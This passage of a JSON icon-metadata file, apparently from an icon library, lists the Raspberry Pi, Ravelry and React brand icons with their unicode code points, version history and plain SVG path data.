        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M353.8 54.1L330.2 6.3c-3.9-8.3-16.1-8.6-20.4 0L286.2 54.1l-52.3 7.5c-9.3 1.4-13.3 12.9-6.4 19.8l38 37-9 52.1c-1.4 9.3 8.2 16.5 16.8 12.2l46.9-24.8 46.6 24.4c8.6 4.3 18.3-2.9 16.8-12.2l-9-52.1 38-36.6c6.8-6.8 2.9-18.3-6.4-19.8l-52.3-7.5zM256 256c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V288c0-17.7-14.3-32-32-32H256zM32 320c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H160c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zm416 96v64c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V416c0-17.7-14.3-32-32-32H480c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M353.8 54.1L330.2 6.3c-3.9-8.3-16.1-8.6-20.4 0L286.2 54.1l-52.3 7.5c-9.3 1.4-13.3 12.9-6.4 19.8l38 37-9 52.1c-1.4 9.3 8.2 16.5 16.8 12.2l46.9-24.8 46.6 24.4c8.6 4.3 18.3-2.9 16.8-12.2l-9-52.1 38-36.6c6.8-6.8 2.9-18.3-6.4-19.8l-52.3-7.5zM256 256c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V288c0-17.7-14.3-32-32-32H256zM32 320c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H160c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zm416 96v64c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V416c0-17.7-14.3-32-32-32H480c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "raspberry-pi": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7bb",
    "label": "Raspberry Pi",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 407 512\"><path d=\"M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z\"/></svg>",
        "viewBox": [0, 0, 407, 512],
        "width": 407,
        "height": 512,
        "path": "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"
      }
    },
    "free": ["brands"]
  },
  "ravelry": {
    "changes": ["4.7.0", "5.0.0", "5.15.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d9",
    "label": "Ravelry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"
      }
    },
    "free": ["brands"]
  },
  "react": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41b",
    "label": "React",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 